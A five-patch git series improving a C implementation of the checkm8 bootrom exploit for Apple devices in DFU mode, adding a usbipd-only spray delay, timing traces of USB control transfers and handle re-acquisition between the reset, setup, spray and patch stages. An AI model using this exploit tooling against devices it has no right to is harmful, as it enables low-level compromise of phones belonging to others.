From e92bc7ab784f80ded0c8fdb2fd3dc893ce012a70 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 09:18:00 -0300 Subject: [PATCH 1/5] fix(checkm8): only pause after the spray on usbipd-win Stage 3 ended with an unconditional 1 s sleep before stage 4. The delay was added for usbipd-win, where the vhci layer frees the spray buffers late, but on a native host the reference implementation goes straight from the spray to the overwrite. An idle second between the last confirmed STALL and the overwrite is a window in which the device can leave dfuIDLE on its own. When it does, the next control transfer returns LIBUSB_ERROR_NO_DEVICE (-4) and the sequence fails at stage 4 with no other trace. Keep the pause only where it is needed. --- src/exploit/checkm8_spray.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index 4d66677..937c9f5 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -296,8 +296,17 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) * * Wait 1 second to ensure all spray buffers are freed by the * device before stage 4's DFU_DNLOAD allocation. + * + * This delay is only required on usbipd-win, which is the setup + * that motivated it: the vhci layer adds latency and the buffers + * are freed late. On a native host the reference implementation + * goes straight from the spray to the overwrite, and the idle + * second is a window in which the device can leave dfuIDLE on its + * own. When that happens the next control transfer returns + * NO_DEVICE (-4) and the sequence fails at stage 4. */ - usleep(1000000); /* 1 s */ + if (getenv("WSL_DISTRO_NAME") != NULL) + usleep(1000000); /* 1 s -- usbipd-win only */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); From 4accca793f1d95e8b688aa88e1cfc9feae78dabf Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 09:18:58 -0300 Subject: [PATCH 2/5] chore(exploit): trace every control transfer with monotonic timing The only trace of a failed sequence was the stage-4 error line. LIBUSB_ERROR_NO_DEVICE is ambiguous: it is the same code whether the device left the bus mid-transfer or between stages, and that distinction decides which stage to look at. Log request, result and elapsed microseconds for every control transfer, plus whether the async setup transfer completed or was cancelled. Everything is log_debug, so the default output does not change. --- src/exploit/checkm8_stages.c | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index 9e7626b..3cb49ff 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -6,6 +6,7 @@ #include #include +#include #include #include @@ -37,15 +38,37 @@ int usb_ctrl_transfer_raw(libusb_device_handle *dev, unsigned int timeout_ms) { unsigned int effective_timeout_ms = timeout_ms; + struct timespec t0, t1; + long elapsed_us; + int ret; if (!dev) return LIBUSB_ERROR_INVALID_PARAM; if (effective_timeout_ms == 0) effective_timeout_ms = 1; - return libusb_control_transfer(dev, bmRequestType, bRequest, + clock_gettime(CLOCK_MONOTONIC, &t0); + ret = libusb_control_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, wLength, effective_timeout_ms); + clock_gettime(CLOCK_MONOTONIC, &t1); + + elapsed_us = (long)((t1.tv_sec - t0.tv_sec) * 1000000L + + (t1.tv_nsec - t0.tv_nsec) / 1000L); + + /* + * Trace every control transfer of the sequence with its result and + * how long it took. A -4 (NO_DEVICE) tells nothing on its own: it + * is the same code whether the device left the bus mid-transfer or + * between stages. The elapsed time of this transfer and of the one + * before it is what separates the two cases. + */ + log_debug("usb: bmRT=0x%02X bReq=0x%02X wVal=0x%04X wIdx=0x%04X " + "len=%u timeout=%ums ret=%d elapsed=%ldus", + bmRequestType, bRequest, wValue, wIndex, wLength, + effective_timeout_ms, ret, elapsed_us); + + return ret; } int usb_ctrl_transfer_no_data_raw(libusb_device_handle *dev, @@ -202,6 +225,16 @@ int usb_ctrl_transfer_dnload_abort(libusb_device_handle *dev, if (completed) actual_len = (int)transfer->actual_length; + /* + * The setup stage decides the pad length from this value. Log the + * three states separately: completed with a length, cancelled + * (actual_len reported as 0), and submit failure. A cancel that + * reports 0 makes the pad the whole overwrite_pad, which is a + * different state than the reference reaches on most attempts. + */ + log_debug("usb: async DNLOAD abort=%ums completed=%d actual_len=%d", + abort_ms, completed, actual_len); + free(buf); libusb_free_transfer(transfer); return actual_len; From a561ac60905f5fa45e2fadb6ce726c44e80b8fa7 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 13:05:49 -0300 Subject: [PATCH 3/5] refactor(exploit): detect usbipd by kernel marker and state the pause as the only claim The env-var check disappears under sudo env_reset, which is how the tool is usually run. Read /proc/version as well. Reword the block comment so it only claims what was measured: the delay was written for usbipd, and dropping it elsewhere is not backed by a measurement of native runs. --- src/exploit/checkm8_spray.c | 52 ++++++++++++++++++++++++++++++------- 1 file changed, 42 insertions(+), 10 deletions(-) diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index 937c9f5..f20444c 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -4,6 +4,7 @@ * Gaster typically converges in a handful of iterations; 100 is generous. */ #define MAX_STALL_RETRIES 100 +#include #include #include #include @@ -179,6 +180,35 @@ int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx) /* Stage 3: Heap spray */ /* ------------------------------------------------------------------ */ +/* + * usbipd_present -- true when the device is reached through usbipd. + * + * WSL_DISTRO_NAME alone is not enough: sudo resets the environment by + * default, so the variable disappears exactly when the tool is run the + * way most of the reports run it. /proc/version keeps a marker that + * survives sudo. + */ +static int usbipd_present(void) +{ + FILE *f; + char buf[256]; + size_t n; + + if (getenv("WSL_DISTRO_NAME") != NULL) + return 1; + + f = fopen("/proc/version", "r"); + if (!f) + return 0; + + n = fread(buf, 1, sizeof(buf) - 1, f); + fclose(f); + buf[n] = '\0'; + + return strstr(buf, "microsoft") != NULL || + strstr(buf, "Microsoft") != NULL; +} + int checkm8_stage_spray(exploit_ctx_t *ctx) { libusb_device_handle *usb; @@ -295,18 +325,20 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) * io_buffer cannot land at insecure_memory_base. * * Wait 1 second to ensure all spray buffers are freed by the - * device before stage 4's DFU_DNLOAD allocation. + * device before stage 4's DFU_DNLOAD allocation. This is the setup + * the delay was written for: the vhci layer adds latency and the + * buffers are freed late. * - * This delay is only required on usbipd-win, which is the setup - * that motivated it: the vhci layer adds latency and the buffers - * are freed late. On a native host the reference implementation - * goes straight from the spray to the overwrite, and the idle - * second is a window in which the device can leave dfuIDLE on its - * own. When that happens the next control transfer returns - * NO_DEVICE (-4) and the sequence fails at stage 4. + * On a native host there is no evidence that the same wait is + * needed, and no measurement has been taken either way. One + * hypothesis is that the idle second is a window in which the + * device can leave dfuIDLE on its own, which would surface as + * NO_DEVICE (-4) at stage 4; that is unconfirmed. What this change + * claims is narrower: do not keep a delay on transports that never + * asked for it, so a native run behaves like the bus it runs on. */ - if (getenv("WSL_DISTRO_NAME") != NULL) - usleep(1000000); /* 1 s -- usbipd-win only */ + if (usbipd_present()) + usleep(1000000); /* 1 s -- usbipd only */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); From 0d97c3767eaf677e40eefeb63acc936960cc9e4e Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 16:42:08 -0300 Subject: [PATCH 4/5] exp(checkm8): re-acquire the USB handle before every stage The reference implementation calls wait_usb_handle() in the condition of its stage loop, so it looks the device up again before each stage. A device that re-enumerates mid-stage leaves this program holding a descriptor for a node that no longer exists: every later transfer returns NO_DEVICE (-4) even though the device is still on the bus, which is what the traces from the A8 runs show. Re-opening does not reset the device, so the state built by the previous stage survives. Experimental: not part of the minimal PR. Needs a hardware run to confirm or discard the hypothesis. --- src/exploit/checkm8.c | 44 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/src/exploit/checkm8.c b/src/exploit/checkm8.c index 47354c8..d580d40 100644 --- a/src/exploit/checkm8.c +++ b/src/exploit/checkm8.c @@ -59,6 +59,41 @@ int exploit_init(exploit_ctx_t *ctx, device_info_t *dev) /* exploit_deliver */ /* ------------------------------------------------------------------ */ +/* + * exploit_reacquire -- drop the handle and look the device up again. + * + * The reference implementation re-acquires the device before every stage + * (wait_usb_handle() sits in the condition of its stage loop). A device + * that re-enumerates during a stage leaves us holding a descriptor for a + * node that no longer exists, and every later transfer fails with + * NO_DEVICE (-4) even though the device is still on the bus. Re-opening + * does not reset the device, so the state built by the previous stage + * stays where it is. + */ +static int exploit_reacquire(exploit_ctx_t *ctx) +{ + device_info_t *dev = ctx->dev; + uint8_t iserial = 0; + int i; + + if (dev->usb) { + usb_dfu_close(dev->usb); + dev->usb = NULL; + } + + for (i = 0; i < 60; i++) { /* up to ~3 s at 50 ms */ + if (usb_dfu_find(&dev->usb, &iserial) == 0) { + log_info("exploit_deliver: device re-acquired (iserial %u)", + (unsigned)iserial); + return 0; + } + usleep(50000); + } + + log_error("exploit_deliver: device did not come back after re-acquiring"); + return -1; +} + int exploit_deliver(exploit_ctx_t *ctx) { if (!ctx || !ctx->dev || !ctx->chip) @@ -70,12 +105,21 @@ int exploit_deliver(exploit_ctx_t *ctx) if (checkm8_stage_reset(ctx) != 0) return -1; + if (exploit_reacquire(ctx) != 0) + return -1; + if (checkm8_stage_setup(ctx) != 0) return -1; + if (exploit_reacquire(ctx) != 0) + return -1; + if (checkm8_stage_spray(ctx) != 0) return -1; + if (exploit_reacquire(ctx) != 0) + return -1; + if (checkm8_stage_patch(ctx) != 0) return -1; From c0dac9c172a19e558e961f04abcb6db1b27bcb99 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 16:52:46 -0300 Subject: [PATCH 5/5] exp(checkm8): carry the serial index across re-acquisition and log the address The descriptor index of the serial string is not stable across enumerations, which is why both retry paths in checkm8_exploit write it back; the PWND check reads it through dev->iserial_index. Logging the device address before and after the re-open makes the re-enumeration visible in the run instead of inferred from dmesg, and the window grows to ten seconds to match the waits used elsewhere for re-enumeration. --- src/exploit/checkm8.c | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) diff --git a/src/exploit/checkm8.c b/src/exploit/checkm8.c index d580d40..aefd5ec 100644 --- a/src/exploit/checkm8.c +++ b/src/exploit/checkm8.c @@ -74,20 +74,41 @@ static int exploit_reacquire(exploit_ctx_t *ctx) { device_info_t *dev = ctx->dev; uint8_t iserial = 0; + unsigned old_addr = 0; int i; if (dev->usb) { + libusb_device *old = libusb_get_device(dev->usb); + + if (old) + old_addr = (unsigned)libusb_get_device_address(old); + usb_dfu_close(dev->usb); dev->usb = NULL; } - for (i = 0; i < 60; i++) { /* up to ~3 s at 50 ms */ + for (i = 0; i < 100; i++) { /* up to ~10 s at 100 ms */ if (usb_dfu_find(&dev->usb, &iserial) == 0) { - log_info("exploit_deliver: device re-acquired (iserial %u)", - (unsigned)iserial); + libusb_device *now = libusb_get_device(dev->usb); + unsigned new_addr = 0; + + if (now) + new_addr = (unsigned)libusb_get_device_address(now); + + /* + * The descriptor index of the serial string is not stable + * across enumerations; the retry paths in checkm8_exploit + * carry it forward for that reason, and the PWND check + * reads it back through dev->iserial_index. + */ + dev->iserial_index = iserial; + + log_info("exploit_deliver: device re-acquired " + "(iserial %u, address %u -> %u)", + (unsigned)iserial, old_addr, new_addr); return 0; } - usleep(50000); + usleep(100000); } log_error("exploit_deliver: device did not come back after re-acquiring");